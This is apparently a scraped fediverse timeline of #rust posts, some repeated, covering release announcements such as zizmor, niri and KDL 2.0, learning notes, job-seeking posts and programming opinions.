Parsing of Links, Email adresses, simple text formatting (markdown subset), user mentions, hashtags and more in DeltaChat messages. - deltachat/message-parser
Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.
deno.com
Web Assembly, or Wasm, is a great way to increase performance in your web application. Here is an introductory guide to what it is and how you can use it.
🥳 "'We are almost at the "write a real driver in #rust" stage now, depending on what you want to do."' 🥳
That's what @gregkh wrote in the comment for the main driver core and debugfs updates merged for #Linux 6.14, as it contained "driver core rust bindings for PCI, platform, OF, and some i/o functions"; there is also a "misc device rust bindings and a sample driver to show how to use them":
https://git.kernel.org/torvalds/c/2ab002c755bfa88777e3f2db884d531f3010736c
zizmor v1.3.0 is released!
this release brings a new audit (overprovisioned-secrets), plus a handful of bugfixes/enhancements to existing audits.
notes here: https://github.com/woodruffw/zizmor/releases/tag/v1.3.0
a screenshot of zizmor running and showing the results of the overprovisioned-secrets audit
Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.
deno.com
Web Assembly, or Wasm, is a great way to increase performance in your web application. Here is an introductory guide to what it is and how you can use it.
zizmor v1.3.0 is released!
this release brings a new audit (overprovisioned-secrets), plus a handful of bugfixes/enhancements to existing audits.
notes here: https://github.com/woodruffw/zizmor/releases/tag/v1.3.0
a screenshot of zizmor running and showing the results of the overprovisioned-secrets audit
Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.
deno.com
Web Assembly, or Wasm, is a great way to increase performance in your web application. Here is an introductory guide to what it is and how you can use it.
Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.
deno.com
Web Assembly, or Wasm, is a great way to increase performance in your web application. Here is an introductory guide to what it is and how you can use it.
Any opinions or suggestions for me on static site generators that use rust? #opensource #rust #staticsitegenerator
Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.
deno.com
Web Assembly, or Wasm, is a great way to increase performance in your web application. Here is an introductory guide to what it is and how you can use it.
anyone interested in helping out with maintaining the message parser for #deltachat desktop?
It's #test_driven_development like a #coding_puzzle, written in #rust with the #nom parser combinator library.
Repo: https://github.com/deltachat/message-parser
We have some bugs that I currently don't have the capacity to fix.
github.com
Parsing of Links, Email adresses, simple text formatting (markdown subset), user mentions, hashtags and more in DeltaChat messages. - deltachat/message-parser
uvとPyO3でPythonからRustを呼ぶ①（プロジェクト作成・Hello World実行まで）
https://qiita.com/nukipei/items/f096a1df6c8074b16150?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめに備忘用。②以降も書くかもしれない。勉強し始めの初心者のため、何か指摘や気づきがあれば是非コメントお願いします。実行環境Windows 11uv 0.5.24python 3.12…
Hey all! I'm due for an (re-)introduction: I'm Jack, an engineer in the NYC area from a firmware & cybersecurity background, currently working in something like hardware-software co-design.
Technical work is often with #rust #kicad #python #verilog #c, and in all-too-rare moments stuff like #haskell #forth #agda and #prolog
I've never been much for social media, usually preferring to keep interests local: a better-detailed #introduction to follow as I figure this out 🙂
Eilen päätin vihdoinkin aloittaa #rustilla koodaamisen. Parin tunnin kokemuksella suosittelen.
Eilen päätin vihdoinkin aloittaa #rustilla koodaamisen. Parin tunnin kokemuksella suosittelen.
Did you know that there is FOSS version of VS Code that doesn't send telemetry to the #microsoft ?
It called VSCodium
Same as Chrome and Chromium
https://vscodium.com/
Also take a look at Zed, it a code editor from creators of Atom, but it written in #rust #rustlang
#development #developers #programming #coding #code #ide #visualstudio #visualstudiocode #codeeditor
Did you know that there is FOSS version of VS Code that doesn't send telemetry to the #microsoft ?
It called VSCodium
Same as Chrome and Chromium
https://vscodium.com/
Also take a look at Zed, it a code editor from creators of Atom, but it written in #rust #rustlang
#development #developers #programming #coding #code #ide #visualstudio #visualstudiocode #codeeditor
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://linuxcommand.org/tlcl.php
- https://bmansoori.ir/book/Linux%20for%20Beginners%20by%20Jason%20Cannon%20.pdf
- https://flaviocopes.pages.dev/books/linux-commands-handbook.pdf
- http://kroah.com/lkn/
- https://linuxfromscratch.org/lfs/downloads/stable/LFS-12.2-SYSV-BOOK.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #linux #popos #mint #deno #node #ubuntu
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://tldp.org/LDP/Bash-Beginners-Guide/Bash-Beginners-Guide.pdf
- https://lamed-oti.com/school/rl/os/linux_unix/Korn%20Shell%20User%20and%20Programming%20Manual.pdf
- https://theswissbay.ch/pdf/Books/Computer%20science/O%27Reilly/ten-steps-to-linux-survival.pdf
- https://drago1234.github.io/Surviving_kits/data/2021_summer/Linux-101-Hacks.pdf
- https://idris.lecturer.pens.ac.id/files/kon_jarkom/Teach%20Yourself%20Shell%20Programming%20in%2024%20Hours.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #huggingface #linux #popos #mint #deno #node #ubuntu
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://tldp.org/LDP/Bash-Beginners-Guide/Bash-Beginners-Guide.pdf
- https://lamed-oti.com/school/rl/os/linux_unix/Korn%20Shell%20User%20and%20Programming%20Manual.pdf
- https://theswissbay.ch/pdf/Books/Computer%20science/O%27Reilly/ten-steps-to-linux-survival.pdf
- https://drago1234.github.io/Surviving_kits/data/2021_summer/Linux-101-Hacks.pdf
- https://idris.lecturer.pens.ac.id/files/kon_jarkom/Teach%20Yourself%20Shell%20Programming%20in%2024%20Hours.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #huggingface #linux #popos #mint #deno #node #ubuntu
FREE BOOKS LINUX AND SHELL SCRIPTING
- https://linuxcommand.org/tlcl.php
- https://bmansoori.ir/book/Linux%20for%20Beginners%20by%20Jason%20Cannon%20.pdf
- https://flaviocopes.pages.dev/books/linux-commands-handbook.pdf
- http://kroah.com/lkn/
- https://linuxfromscratch.org/lfs/downloads/stable/LFS-12.2-SYSV-BOOK.pdf
#python #rust #c #c++ #machinelearning #deeplearning #ai #developer #dev #devsecops #devops #mlops #learn #learning #focus #study #git #gitlab #github #codeberg #software #statistics #pandas #numpy #tensorflow #pytorch #jax #linux #popos #mint #deno #node #ubuntu
I think I've just bombed an interview where I've been expected to produce a data model for a famous toy problem and 3LoC / minute.
I have some options lined up, but I would like to get more into the pipeline. Can #FediHire hashtag help me find a #Rust engineer position? 👀
P.S.
I can't reasonably toot it without plugging #ZeroHR.io for technical skill assessment. It's like in a different universe from normal hiring practices in IT.
zerohr.io
∅hr is a platform that streamlines tech hiring.
Rust 1.84で安定化されたMSRVを考慮するリゾルバ（MSRV-aware resolver）について書きました
Rust 1.84からRustの最小バージョンを考慮した依存関係の解決ができるようになった｜SorairoLake https://zenn.dev/sorairolake/articles/introduce-msrv-aware-resolver #zenn #rust #rustlang #cargo
zenn.dev
Today we’re happy to share our plans for Biome 2.0 as well as the rest of our roadmap for 2025.
Read all about it here: https://biomejs.dev/blog/roadmap-2025/
#OpenSource #WebDev #Tooling for #JavaScript #TypeScript #CSS #GraphQL and #GritQL, written in #Rust
biomejs.dev
I think I've just bombed an interview where I've been expected to produce a data model for a famous toy problem and 3LoC / minute.
I have some options lined up, but I would like to get more into the pipeline. Can #FediHire hashtag help me find a #Rust engineer position? 👀
P.S.
I can't reasonably toot it without plugging #ZeroHR.io for technical skill assessment. It's like in a different universe from normal hiring practices in IT.
zerohr.io
∅hr is a platform that streamlines tech hiring.
I remember times when I legit couldn't write a bfs in #Rust, but I don't remember why.
```
pub fn bfs(&self, i: usize) -> Result<Vec<usize>> {
if self.adj[i].0.is_none() {
anyhow::bail!(format!("Tried to start bfs from {} but there is no vertex there.", &i));
}
let mut queue = VecDeque::new();
queue.push_back(i);
let mut result = vec![];
let mut visited = vec![false; self.adj.len()];
while let Some(v) = queue.pop_front() {
if visited[v] {
continue;
}
for (x, _) in &self.adj[v].1 {
queue.push_back(*x);
}
result.push(v);
visited[v] = true;
}
Ok(result.clone())
}
```
i've released `zizmor` v1.2.0!
some key changes:
- there's a new `bot-conditions` audit, which can detect spoofable `github.actor` checks!
- precision/accuracy improvements to the `unpinned-uses` and `excessive-permissions` audits!
- bugfixes for the `template-injection` and `artipacked` audits!
- more general bugfixes, including a (hopeful) improvement to the SARIF output behavior and fixes to our parsing of some workflow/expression edge cases
and from a sustainability perspective: many thanks to https://astral.sh/ for being our first logo-level sponsor!
full release notes here:
a screenshot of zizmor with findings from the new bot-conditions audit
Spent the last 6 hours trying to get a hello world equivalent gui window with a button on rust under windows.
This task which one might think is simple ended up taking literal hours and still hasn't been achieved because: the tutorials for gtk on windows and rust suggest putting msys2 bin directory on the path. This causes rust to fail to build correctly because it uses the wrong gcc and linkers.
Afterwards I managed it by using the appropriate environment variables.
But then I found out the dynamically linked libarries weren't found. I tried getting a way to copy them but it turned out to be too much work so I just moved the executable to the same dir.
Only to find out that gtk4 has no accessibility on Windows. Not bad accessibility, not accessibility that needs to be turned on. No. Accessibility. At all.
So then I decided to try Qt, which wants me to create an account to get an installer. Absolute no.
Got the 1.5gb sources and trying now to get an off-line installer out of it.
To get a fucking window with a button in it.
I don't think it's unreasonable for me to say this state of affairs is complete bullshit, and that most people with a normal level of motivation would have found plenty of opportunities to have given up. I still might.
(Not using NWG because tying the data to the GUI elements is non-trivial, it seems to require copying a lot and using twice the memory.)
i've released `zizmor` v1.2.0!
some key changes:
- there's a new `bot-conditions` audit, which can detect spoofable `github.actor` checks!
- precision/accuracy improvements to the `unpinned-uses` and `excessive-permissions` audits!
- bugfixes for the `template-injection` and `artipacked` audits!
- more general bugfixes, including a (hopeful) improvement to the SARIF output behavior and fixes to our parsing of some workflow/expression edge cases
and from a sustainability perspective: many thanks to https://astral.sh/ for being our first logo-level sponsor!
full release notes here:
a screenshot of zizmor with findings from the new bot-conditions audit
Things I learned last year:
- PHP and JavaScript for web applications
- Python for AI and Machine Learning
- Rust for very performant software
- Go for networking software
- Vala for GNOME apps
- C is still relevant as long you keep it simple
- C++ is slowly becoming the FORTRAN of our age.
#Programming #WebDevelopment #SoftwareDevelopment #Software #PHP #Pyrhon #AI #ML #MachineLearning #Rust #Golang #Vala #GNOME #C #CPlusPlus
Things I learned last year:
- PHP and JavaScript for web applications
- Python for AI and Machine Learning
- Rust for very performant software
- Go for networking software
- Vala for GNOME apps
- C is still relevant as long you keep it simple
- C++ is slowly becoming the FORTRAN of our age.
#Programming #WebDevelopment #SoftwareDevelopment #Software #PHP #Pyrhon #AI #ML #MachineLearning #Rust #Golang #Vala #GNOME #C #CPlusPlus
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Worked on optimizations with great results; some methods in the time crate are twice as fast!
- Month::length
- is_leap_year
- weeks_in_year
- Date::to_calendar_date
- Date::month
The first two algorithms hadn't been published when I originally wrote the code, The last two I conjured myself using a similar technique.
It took a fair amount of fiddling to get it to optimize just right, as seemingly inconsequential changes had nontrivial impact on speed.
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬
If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!
- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers
Boosts appreciated, thank you!
Rust isn't great for prototyping?
I disagree, but I'd love to hear people's thoughts.
corrode.dev
Programming is an iterative process - as much as we would like to come up with the perfect solution from the start, it rarely works that way. Good programs often start as quick prototypes. The bad ones stay prototypes, but the best ones evo…
«Funktionale Sprachelemente: Iteratoren und Funktionsabschlüsse (closures)»
Heute nehme ich mir die Zeit um mich mit 'Funktionale Programmierung' in Rust auseinander zu setzen. Ich hatte mich darüber schon informiert aber mich nie damit auseinander gesetzt. Plump gesagt, es ist "moderner" als objektorientiertes Programmieren und Rust unterstützt es.
🦀 https://rust-lang-de.github.io/rustbook-de/ch13-00-functional-features.html
🧑💻 https://de.wikipedia.org/wiki/Funktionale_Programmierung
#rust #rustlang #code #learncoding #funktional #functional #coding #dev
de.wikipedia.org
«Great things about Rust that aren't just performance»
– from @nicole
🦀 https://ntietz.com/blog/great-things-about-rust-beyond-perf/
one thing about #Rust that I wish people would emphasize to programmers who are interested in learning it is: you absolutely need an IDE - and need to know how to use its features well - in order to learn Rust
because here’s the thing. for every single variable, argument, return value, etc. in Rust, you have to keep all of the following in mind:
and in my experience this is an impossible amount of cognitive load, even for very simple programs, unless you have an IDE to help you with it - by E.G. showing you a function’s signature as you’re supplying it with arguments, and giving you inlay type hints to keep track of the nuances of each variable
and because of this huge jump in complexity compared to most languages, that means you have tons of methods that all do almost the same thing, but with some Rust-specific nuances to keep in mind. like consider the difference between .iter(), .iter_mut() and .into_iter(). in most other languages, these would all be the same method, because most other languages don’t have a concept of “returning an immutable value” or “returning an owned value”
but of course an IDE will let you just type .iter and show you every method that has iter in the name, which tells you which options are available to you and helps a lot with considering what you want
also, the Rust compiler is incredibly picky. (which is a good thing! kinda). without an IDE it will feel like rustc is expecting you to keep track of every single detail of every single variable at all times (again, impossible cognitive load) and is just waiting for you to make a mistake. sometimes it’s not even clear what it wants from you
after a while of trying to use Rust without an IDE I ended up creating superstitions around the Rust compiler. “trying to pass information between threads has angered the gods. nothing seems to calm their ire. this will be a single-threaded program to appease them”
but if you get live feedback from your IDE, in real-time as you’re typing your code, it’s much easier to build an intuition around what Rust expects from you and what will make it angry
so yeah don’t try to use Rust if you don’t have an IDE, or you don’t know all of your IDE’s features yet. you will go insane
cryptid.cafe
one thing about #Rust that I wish people would emphasize to programmers who are interested in learning it is: you absolutely need an IDE - and need to know how to use its features well - in order to learn Rust
because here’s the thing. for every single variable, argument, return value, etc. in Rust, you have to keep all of the following in mind:
and in my experience this is an impossible amount of cognitive load, even for very simple programs, unless you have an IDE to help you with it - by E.G. showing you a function’s signature as you’re supplying it with arguments, and giving you inlay type hints to keep track of the nuances of each variable
and because of this huge jump in complexity compared to most languages, that means you have tons of methods that all do almost the same thing, but with some Rust-specific nuances to keep in mind. like consider the difference between .iter(), .iter_mut() and .into_iter(). in most other languages, these would all be the same method, because most other languages don’t have a concept of “returning an immutable value” or “returning an owned value”
but of course an IDE will let you just type .iter and show you every method that has iter in the name, which tells you which options are available to you and helps a lot with considering what you want
also, the Rust compiler is incredibly picky. (which is a good thing! kinda). without an IDE it will feel like rustc is expecting you to keep track of every single detail of every single variable at all times (again, impossible cognitive load) and is just waiting for you to make a mistake. sometimes it’s not even clear what it wants from you
after a while of trying to use Rust without an IDE I ended up creating superstitions around the Rust compiler. “trying to pass information between threads has angered the gods. nothing seems to calm their ire. this will be a single-threaded program to appease them”
but if you get live feedback from your IDE, in real-time as you’re typing your code, it’s much easier to build an intuition around what Rust expects from you and what will make it angry
so yeah don’t try to use Rust if you don’t have an IDE, or you don’t know all of your IDE’s features yet. you will go insane
cryptid.cafe
After a full day of writing release notes (god how'd it take so long 😫), niri v25.01 is out with Floating Windows and Working Layer-Shell Desktop Icons and Layer-Shell Screencast Blocking Out and so many more improvements! Yes, you read that right, we finally escaped zerover! I feel that niri is now ready to graduate from v0.1
Read here and download when your distribution package updates: https://github.com/YaLTeR/niri/releases/tag/v25.01
Showcasing auto-floating dialogs and windows in niri.
A few windows side-by-side in niri, including a floating dialog and a Steam.
Notification visible on the screenshot, but replaced with a solid black rectangle inside OBS screen capture.
Avis aux pythonistes en herbe, voici une initiation à #Pyxel, framework #Python pour créer des jeux à l'ancienne, comme sur la SNS ou la Gameboy Color.
Un éditeur de média est fourni.
Le moteur en #rust assure la fluidité, et l'API python est minimaliste.
Les jeux tourneront sur Linux/Mac/Windows et même dans un navigateur web, avec #wasm
blog.garambrogne.net
Le framework Rust, Pyxel, permet de créer des jeux rétro en Python. Initiation et prise en main.
Reading the #Rust chapter on enums... oh! god. What have you done to that word enum? My Python brain is blown to bits. I am used to counting things with enumerate and maybe define some specific integers with the Enum class. But Rust takes it to a whole different level. Phew...
In exactly six weeks from today, you can finally migrate all your projects to the Rust 2024 Edition (when Rust 1.85 is released).
Oh, and happy #Rust 1.84! 🦀
In exactly six weeks from today, you can finally migrate all your projects to the Rust 2024 Edition (when Rust 1.85 is released).
Oh, and happy #Rust 1.84! 🦀
Typestates in Rust https://lobste.rs/s/hauct0 #rust
https://yoric.github.io/post/rust-typestate/
yoric.github.io
A long time ago, the Rust language was a language with typestate. Officially, typestates were dropped long before Rust 1.0. In this entry, I’ll get you in on the worst kept secret of the Rust community: Rust still has typestates.
So someone showed me some screenshots of a testing setup they had with kdl-ts + miette recently and it looked amazing. Semantic, readable, relevant errors on the test site, really nice declarative test definitions, and zero compile time because it’s not just a bunch of proc macros.
Maybe it’s worth making a library for doing that? 🤔
@dansup @vidzy hmm I've been learning #Rust & want to start a project I can list on my resume before applying to Rust jobs.
Was thinking a #Fediverse #GTK / #Libadwaita client would be perfect. Was leaning toward #Lemmy since the backend is also Rust, but the UI for that would be more complex & is daunting for my zero exp w/ UI (outside of React)
#Loops would probably need a lot less UI complexity, so maybe I'll make that instead.
Un nouveau crabe 🦀 Ferris de #rust à assembler #crochet #amigurumi #mascot #FiberArtist #crafting
Finalement je préfère faire toutes les pièces et coudre tout d'un coup que étapes par étapes
Et vous ?
Disponible en précommande sur doomyflocrochet.com
Crabe Ferris de Rust en peluche crochet amigurumi de DOOMYFLOCROCHET
I know that kids these days are happy with their fancy new languages, but the fact is, things are just slower than expected, and we might need to add more power and resources not because of shitty LLMs, but because of compilers which are not designed properly.
Or it’s just bad code.
Initial Release of heretek: Yet Another GDB TUI Frontend 🎊
* **No gdbserver requirements**: Many vendors ship invalid `gdbserver` binaries, this works on remote targets with just `gdb`, `nc`, `cat`, and `mkfifo`.
* **No python requirements**: Many vendors ship `gdb` without python support.
* **Architecture agnostic**: `heretek` only uses information given by `gdb`, no extra code required!
Terminal User Interface of Register, Stack, and current instructions of a program under introspection. Mixes of red,green,red show the differing parts of the values, as each register and stack variable is de-referenced to ease reverse engineering process.
ElixirでAtCoder ABC386を楽しむ！PythonとRustと比較しながら学ぶ
https://qiita.com/torifukukaiou/items/7165cacc80823c3a0aee?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにプログラミングのスキルを向上させるために、私は現在、AtCoderのABC問題に挑戦しています。AtCoderは、アルゴリズムやデータ構造を中心にした問題解決能力を磨く場であり、自分との闘…
ElixirでAtCoder ABCを楽しむ！PythonとRustと比較しながら学ぶ
https://qiita.com/torifukukaiou/items/5c096a9e6846beaeda3c?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにプログラミングのスキルを向上させるために、私は現在、AtCoderのABC問題に挑戦しています。AtCoderは、アルゴリズムやデータ構造を中心にした問題解決能力を磨く場であり、自分との闘…
Excellent article on #fishshell voyage to #rust.
Doing migrations following the #theseus approach is so satisfying. You get to see the results as each part gets swapped. Immediate feedback, but also guidance on how to build. 😎
Been with fish for a decade now. And I can't think of using anything else now. 😅
fishshell.com
A smart and user-friendly command line shell
“We need to get one thing out of the way: Rust is cool. It’s fun.
“It’s tempting to try to sweep this under the rug because it feels gauche to say, but it’s actually important for a number of reasons.
“For one, fish is a hobby project, and that means we want it to be fun for us. Nobody is being paid to work on fish, so we need it to be fun. Being fun and interesting also attracts contributors.”
fishshell.com
A smart and user-friendly command line shell
Interesting blog post about the 2 year process of rewriting fish-shell in #Rust. Gradually replacing C++ components with Rust versions and using various techniques to maintain interoperability while the rewrite was underway.
🧵 1/2
fishshell.com
A smart and user-friendly command line shell
“We need to get one thing out of the way: Rust is cool. It’s fun.
“It’s tempting to try to sweep this under the rug because it feels gauche to say, but it’s actually important for a number of reasons.
“For one, fish is a hobby project, and that means we want it to be fun for us. Nobody is being paid to work on fish, so we need it to be fun. Being fun and interesting also attracts contributors.”
fishshell.com
A smart and user-friendly command line shell
Interesting blog post about the 2 year process of rewriting fish-shell in #Rust. Gradually replacing C++ components with Rust versions and using various techniques to maintain interoperability while the rewrite was underway.
🧵 1/2
fishshell.com
A smart and user-friendly command line shell
The Rust ecosystem for numerical/scientific computing is in a bit of a sorry state.
ndarray, which has a nice user-facing API and seems suitable for arbitrarily large n-dimensional data, is effectively abandoned. Worse still, its linalg library is just a wrapper around OpenBLAS/LAPACK... but the bindings are static and assume the amd64 ABI. It fails to build at all on AArch64 due to type mismatches.
nalgebra is under more active development, is written entirely in Rust, and also has a very nice API. It is less suitable for arbitrarily large data however, and lacks SIMD optimisations for even basic matrix operations like dot product. The maintainers rely on LLVM's auto-vectorisation at -O3, with little interest in adding any explicit SIMD optimisations. It gets worse once you start looking at matrices storing any type other than intrinsic floats. Complex numbers are a little cumbersome to deal with for certain operations.
No one in this domain is going to want to use Rust for anything serious until these fundamentals are in a good place, but it seems like there's no interest in getting these fundamentals into a good place because no one's really using Rust in this domain...
If you aren’t familiar with how computers work under the hood, I recommend to start #LearningRust with Rust in Action, a perfect book for beginners.
It’s a hands-on guide that introduces the #Rust programming language by exploring systems programming concepts and techniques. It goes beyond language syntax to showcase what Rust has to offer in real-world use cases, such as dealing with persistent storage, memory, networking, CPU instructions, and more.
manning.com
A hands-on guide to systems programming with Rust. Written for inquisitive programmers, it presents real-world use cases that go far beyond syntax and structure.
infosec.place
🎄 Celebrating our first year of "Rust in Production"! Thanks to our amazing guests and community.
Check out our holiday special where they share what makes #Rust feel like home 🏡
🦀 Here's to another year of learning and building together!
corrode.dev
While we try not to get too sentimental, celebrating one year of ‘Rust in Productio…
🎄 Celebrating our first year of "Rust in Production"! Thanks to our amazing guests and community.
Check out our holiday special where they share what makes #Rust feel like home 🏡
🦀 Here's to another year of learning and building together!
corrode.dev
While we try not to get too sentimental, celebrating one year of ‘Rust in Productio…
I am absolutely overjoyed to announce the release of #KDL 2.0.0!! https://kdl.dev
It's a significant overhaul of the language to make it SO MUCH NICER in so many ways.
This is the culmination of over 3 years of work (4 if you count from before 1.0.0), by SCORES of contributors.
https://github.com/kdl-org/kdl/releases/tag/2.0.0
I want to give huge thanks to everyone who supported all of us through this, who jumped in and had some really amazing discussions weighing all sorts of interesting trade-offs.
The end result is absolutely not something any one person could've reasonably come up with.
I hope y'all enjoy it <3
As part of this release, several implementations have already launched with full support for v2.0.0, so you can try it now!
👉 #Rust #RustLang https://github.com/kdl-org/kdl-rs
👉 #C / #CPP / #Python https://github.com/tjol/ckdl
👉 #Elixir https://github.com/IceDragon200/kuddle
👉 #JavaScript / #TypeScript https://github.com/bgotink/kdl
👉 #Python https://github.com/tabatkins/kdlpy
KDL is already used in all sorts of projects, and by various folks as a DSL for their own small hobby things: https://github.com/kdl-org/kdl?tab=readme-ov-file#used-by
There are around 8k .kdl files out on GitHub, which is a lot considering it's usually a config language!
I fully expect this to be the last version of KDL ever released. We really really tried, but I don't think there's anything we can reasonably improve on.
From here on out, the language is in the (stable!) hands of the ecosystem.
Also, we're hoping to have GitHub syntax highlighting support soon!
(Boosts welcome!!)
syntax-highlighted zellij config ported to 2.0.0 format. // This config is just like `zellij.kdl`, except it shows what it would look // like if modifiers were done using `+` instead of spaces (thus needing to be // quoted). keybinds { normal { // uncomment this and adjust key if using copy_on_select=#false /- bind Alt+c { Copy } } locked { bind Ctrl+g { SwitchToMode Normal } } resize { bind Ctrl+n { SwitchToMode Normal } bind h Left { Resize Left } bind j Down { Resize Down } bind k Up { Resize Up } bind l Right { Resize Right } bind "=" + { Resize Increase } bind - { Resize Decrease } } pane { bind Ctrl+p { SwitchToMode Normal }
a section of a syntax-highlighted example KDL document based on a GitHub Actions yaml configuration, ported to KDL 2.0.0. steps { step uses="actions/checkout@v1" step "Install Rust" uses="actions-rs/toolchain@v1" { profile minimal toolchain "${{ matrix.rust }}" components clippy override #true } step Clippy { run cargo clippy --all -- -D warnings } step "Run tests" { run cargo test --all --verbose } step "Other Stuff" run=""" echo foo echo bar echo baz """ }
Un nouveau crabe 🦀 Ferris de #rust à assembler #crochet #amigurumi #mascot #FiberArtist #crafting
Finalement je préfère faire toutes les pièces et coudre tout d'un coup que étapes par étapes
Et vous ?
Disponible en précommande sur doomyflocrochet.com
Crabe Ferris de Rust en peluche crochet amigurumi de DOOMYFLOCROCHET
so yeah this is happening #KDL #Rust #RustLang
The crate is now gonna have v1 and v1-fallback features, which enable parsing v1 docs (using the legacy parser, for now). And there's a KdlDocument::v1_to_v2(s: &str) function now that will convert a v1 doc into v2 syntax in a single call, for folks who want to make it easy for their users to migrate.
jj ci -m "feat(v1): Add utility to auto-translate v1 to v2"
I’ve never understood or written #ruby bindings to other languages. But now, I’ve found motivation. The #taffy UI library written in #rust looks amazing, and #stretchable is a #python binding for it. Can anybody recommend books, videos, or other resources to learn the skills I’d need to write Ruby bindings for it?
(sorry this has at least one mistake, the “func” should be “fn”)
![Rust compiler error message:
"error: does_halt computes if program halts, which is not allowed"
The shown code is a function taking a reference to a Program type and returning a Boolean that iterates over a proof iterator with flags requiring that the proofs prove either that the program halts or doesn’t. In the loop body, an if-else statement checks if the proof proves that the program halts or if it doesn’t and return true or false, respectively.
The error has additional details:
The function signature is highlighted in red:
"this computes if program halts"
The iterator (which spans multiple lines) is highlighted:
"note: because this will eventually yield..."
The return statements are highlighted with help suggesting replacing false with true or vice-versa to fix the error.
An assert and an unreachable are highlighted to indicate that they will never fail/run, respectively.
Finally:
note: #[deny(unreality)] on by default
note: consider using std::oracle<Halts> instead](https://ftp.ieji.de/mastodata/media_attachments/files/113/681/555/516/502/387/original/49af7033e5e4b55b.png)
